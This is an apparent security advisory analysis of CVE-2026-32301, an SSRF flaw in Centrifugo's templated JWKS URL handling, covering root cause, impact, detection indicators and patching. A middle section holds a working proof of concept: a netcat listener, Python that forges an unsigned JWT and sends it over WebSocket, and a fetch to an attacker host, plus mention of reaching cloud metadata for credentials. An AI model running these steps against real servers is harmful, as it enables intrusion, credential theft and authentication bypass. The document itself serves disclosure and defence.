CVE-2026-32301: 
NixOS vulnerability analysis and mitigation

CVE-2026-32301 is a Server-Side Request Forgery (SSRF) vulnerability in Centrifugo, an open-source scalable real-time messaging server. When configured with a dynamic JWKS endpoint URL using template variables (e.g., {{tenant}}), an unauthenticated attacker can craft a JWT with a malicious iss or aud claim value that gets interpolated into the JWKS fetch URL before the token signature is verified, causing Centrifugo to make an outbound HTTP request to an attacker-controlled destination. The vulnerability affects all versions up to and including 6.6.2 (across v2, v3, v4, v5, and v6 module paths), and is fixed in version 6.7.0. It carries a CVSS v3.1 base score of 9.3 (Critical) (GitHub Advisory, Centrifugo Advisory).

The root cause (CWE-918) lies in a flawed order of operations in internal/jwtverify/token_verifier_jwt.go. The functions VerifyConnectToken and VerifySubscribeToken first parse the token without verification (jwt.ParseNoVerify), then run validateClaims() which extracts named regex capture groups from issuer_regex/audience_regex into a tokenVars map using attacker-controlled iss/aud claim values, and only then call verifySignatureByJWK(token, tokenVars). In internal/jwks/manager.go, fetchKey() interpolates tokenVars directly into the JWKS URL via jwkURL := m.url.ExecuteString(tokenVars), triggering an HTTP GET to the attacker-controlled URL before any signature check occurs. A suppressed security linter comment (//nolint:gosec // URL is from server configuration, not user input) incorrectly masked this flaw. Exploitation requires the server to be configured with a jwks_public_endpoint containing {{...}} template variables combined with issuer_regex or audience_regex — a pattern explicitly documented by Centrifugo (Centrifugo Advisory, GitHub Advisory).

An unauthenticated remote attacker can cause Centrifugo to make arbitrary outbound HTTP requests, enabling reconnaissance of internal network services not otherwise exposed externally. On cloud deployments, this can be leveraged to access instance metadata endpoints (e.g., AWS 169.254.169.254, GCP metadata.google.internal) to steal IAM credentials, facilitating lateral movement and privilege escalation. Additionally, an attacker can serve a malicious JWKS response containing their own public key, causing Centrifugo to accept attacker-signed tokens as legitimate — resulting in full authentication bypass and unauthorized access to real-time messaging channels (Centrifugo Advisory).

A detailed proof-of-concept (PoC) exploit is publicly available in the official security advisory, providing a concrete step-by-step attack sequence including malicious JWT generation, WebSocket connection, and network observation (Centrifugo Advisory). The vulnerability requires no authentication, no user interaction, and has low attack complexity, making it trivially exploitable against any Centrifugo instance using the vulnerable dynamic JWKS configuration. The EPSS score is approximately 0.04–0.109%, and there is no current evidence of in-the-wild exploitation or CISA KEV catalog listing (GitHub Advisory). Qualys has added detection for this vulnerability (Detection ID: 761875) (Feedly).

1. Reconnaissance: Identify Centrifugo instances (versions ≤ 6.6.2) configured with a dynamic jwks_public_endpoint containing template variables (e.g., http://JWKS_HOST/{{tenant}}/.well-known/jwks.json) and a corresponding issuer_regex or audience_regex.
2. Set up attacker listener: Start a netcat listener on the attacker-controlled machine to capture incoming HTTP requests: nc -lvnp 8888.
3. Craft a malicious unsigned JWT: Generate a JWT with a forged iss claim that matches the server's issuer_regex pattern but resolves to the attacker's host when interpolated into the JWKS URL template:

import base64, json
def b64url(data):
    return base64.urlsafe_b64encode(data).rstrip(b'=').decode()
header = b'{"alg":"RS256","kid":"test-kid","typ":"JWT"}'
payload = b'{"sub":"attacker","iss":"evil-tenant.auth.example.com","exp":9999999999}'
token = f"{b64url(header)}.{b64url(payload)}.fakesig"
print(token)

4. Send the malicious token via WebSocket: Connect to the Centrifugo WebSocket endpoint and submit the crafted token in a connect command:

import websocket, json
ws = websocket.create_connection("ws://TARGET:8000/connection/websocket")
ws.send(json.dumps({"id": 1, "connect": {"token": "<malicious_token>"}}))
print(ws.recv())

5. Observe SSRF: Before signature verification occurs, Centrifugo fetches http://ATTACKER_HOST:8888/evil-tenant/.well-known/jwks.json, confirming the SSRF. The attacker can now probe internal services or serve a malicious JWKS response to achieve authentication bypass (Centrifugo Advisory).

• Network: Unexpected outbound HTTP GET requests from the Centrifugo server to external or internal IP addresses matching the pattern GET /<tenant-value>/.well-known/jwks.json; outbound connections to cloud metadata endpoints (169.254.169.254, metadata.google.internal) originating from the Centrifugo process.
• Logs: Centrifugo server logs showing JWKS fetch attempts to unusual or unexpected hostnames/IPs; repeated WebSocket connection attempts with JWTs containing iss or aud values that do not match legitimate tenant patterns.
• Network: Incoming HTTP requests to attacker-controlled infrastructure with User-Agent: Go-http-client/1.1 and paths matching the JWKS URL template structure (e.g., GET /evil-tenant/.well-known/jwks.json).
• Process: Unusual outbound TCP connections on port 80/443 (or custom ports) initiated by the Centrifugo process to non-JWKS infrastructure (Centrifugo Advisory).

Upgrade Centrifugo to version 6.7.0 or later, which fixes the vulnerability by ensuring JWT signature verification occurs before any claim values are extracted and interpolated into the JWKS URL (Centrifugo Advisory). If immediate patching is not possible, avoid configuring jwks_public_endpoint with {{...}} template variables derived from JWT claims (iss/aud); instead, use a static JWKS endpoint URL. As an additional measure, restrict template variables to only the kid header field (which is not claim data) rather than allowing arbitrary claim values to influence the JWKS URL. Network-level controls such as egress filtering on the Centrifugo host can limit the impact of SSRF by blocking access to internal metadata endpoints and unexpected external destinations.

The vulnerability was reported by researcher VarshankNaik and published by Centrifugo maintainer FZambia on March 12, 2026 (Centrifugo Advisory). The advisory received attention across security aggregators including Bluesky, Mastodon, and threat intelligence platforms shortly after disclosure. OpenSUSE issued a security announcement referencing the vulnerability, and LinuxSecurity.com covered the govulncheck/vulndb advisory (OpenSUSE). Community commentary highlighted the irony of the suppressed security linter comment (//nolint:gosec) that masked the flaw, noting it as a cautionary example of incorrect security annotations in code review.